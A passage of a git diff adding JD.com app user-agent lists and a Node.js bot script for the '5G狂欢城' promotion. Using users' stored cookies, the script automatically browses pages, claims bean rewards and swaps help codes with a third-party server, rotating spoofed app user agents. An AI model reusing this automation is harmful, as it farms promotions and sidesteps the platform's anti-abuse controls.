'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/USER_AGENTS.js b/USER_AGENTS.js new file mode 100644 index 0000000..be4119e --- /dev/null +++ b/USER_AGENTS.js @@ -0,0 +1,51 @@ +const USER_AGENTS = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/activity/jd_5g.js b/activity/jd_5g.js new file mode 100644 index 0000000..90a31a0 --- /dev/null +++ b/activity/jd_5g.js @@ -0,0 +1,767 @@ +/* +5G狂欢城 +活动时间: 2021-1-30至2021-2-4 +活动入口:暂无 +活动地址:https://rdcseason.m.jd.com/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#5G狂欢城 +0 0,6,12,18 * * * jd_5g.js, tag=5G狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 0,6,12,18 * * *" script-path=jd_5g.js, tag=5G狂欢城 + +===============Surge================= +5G狂欢城 = type=cron,cronexp="0 0,6,12,18 * * *",wake-system=1,timeout=3600,script-path=jd_5g.js + +============小火箭========= +5G狂欢城 = type=cron,script-path=jd_5g.js, cronexpr="0 0,6,12,18 * * *", timeout=3600, enable=true + */ +const $ = new Env('5G狂欢城'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://rdcseason.m.jd.com/api/'; +const inviteCodes = [ + '', + '' +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdFive() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFive() { + try { + $.beans = 0 + $.score = 0 + $.risk = false + await getToday() + if($.risk){ + message += '活动太火爆了,快去买买买吧\n' + await showMsg() + return + } + await getHelp() + console.log(`去浏览会场`) + await getMeetingList() + console.log(`去浏览商品`) + await getGoodList() + console.log(`去浏览店铺`) + await getShopList() + await $.wait(10000); + console.log(`去浏览会场`) + await getMeetingList() + console.log(`去浏览商品`) + await getGoodList() + console.log(`去浏览店铺`) + await getShopList() + console.log(`去帮助好友`) + await helpFriends() + await myRank();//领取往期排名奖励 + await getActInfo() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doHelp(code) + await $.wait(2000) + } +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.beans}京豆,${$.score}积分` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function doHelp(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/toHelp', `shareId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(`助力结果:${JSON.stringify(data)}`); + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getToday() { + return new Promise((resolve) => { + $.post(taskPostUrl('task/getPresetJingTie', "presentAmt=20"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.data.rsMsg) + } else { + console.log(data.msg) + if(data.code===1002){ + $.risk = true + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getActInfo() { + return new Promise((resolve) => { + $.get(taskUrl('task/findJingTie', ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + message += `用户当前积分:${data.data.integralNum}\n` + console.log(`用户当前积分:${data.data.integralNum}`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getMeetingList() { + return new Promise((resolve) => { + $.get(taskUrl('task/listMeeting'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + for(let vo of data.data.meetingList){ + await browseMeeting(vo['id']) + await getMeetingPrize(vo['id']) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function browseMeeting(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/browseMeeting', `meetingId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.msg) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getMeetingPrize(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/getMeetingPrize', `meetingId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.beans += parseInt(data.data.jdNum) + $.score += parseInt(data.data.integralNum) + console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getGoodList() { + return new Promise((resolve) => { + $.get(taskUrl('task/listGoods'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + for(let vo of data.data.goodsList){ + await browseGood(vo['id']) + await getGoodPrize(vo['id']) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function browseGood(id) { + return new Promise((resolve) => { + $.get(taskUrl('task/browseGoods', `skuId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.msg) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getGoodPrize(id) { + return new Promise((resolve) => { + $.get(taskUrl('task/getGoodsPrize', `skuId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.beans += parseInt(data.data.jdNum) + $.score += parseInt(data.data.integralNum) + console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getShopList() { + return new Promise((resolve) => { + $.get(taskUrl('task/shopInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + for(let vo of data.data){ + await browseShop(vo['shopId']) + await getShopPrize(vo['shopId']) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function browseShop(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/browseShop', `shopId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.msg) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getShopPrize(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/getShopPrize', `shopId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.beans += parseInt(data.data.jdNum) + $.score += parseInt(data.data.integralNum) + console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getHelp() { + return new Promise((resolve) => { + $.get(taskUrl('task/getHelp'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(`您的好友助力码为:${data.data.shareId} \n注:此邀请码每天都变!`); + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function myRank() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/myRank?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.jbeanNum = ''; + $.get(options, async (err, resp, data) => { + try { + // console.log('查询获奖列表data', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data.myHis) { + for (let i = 0; i < data.data.myHis.length; i++) { + $.date = data.data.myHis[0].date; + if (data.data.myHis[i].status === '21') { + await $.wait(1000); + console.log('开始领奖') + let res = await saveJbean(data.data.myHis[i].id); + // console.log('领奖结果', res) + if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + console.log(`${data.data.myHis[i].date}日奖励领取成功${JSON.stringify(res.data.jbeanNum)}`) + } + } + if (i === 0 && data.data.myHis[i].status === '22') { + $.jbeanNum = data.data.myHis[i].prize; + } + } + // for (let item of data.data.myHis){ + // if (item.status === '21') { + // await $.wait(1000); + // console.log('开始领奖') + // let res = await saveJbean(item.id); + // // console.log('领奖结果', res) + // if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + // } + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function saveJbean(id) { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/saveJbean`, + "body": `prizeId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/5g/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() 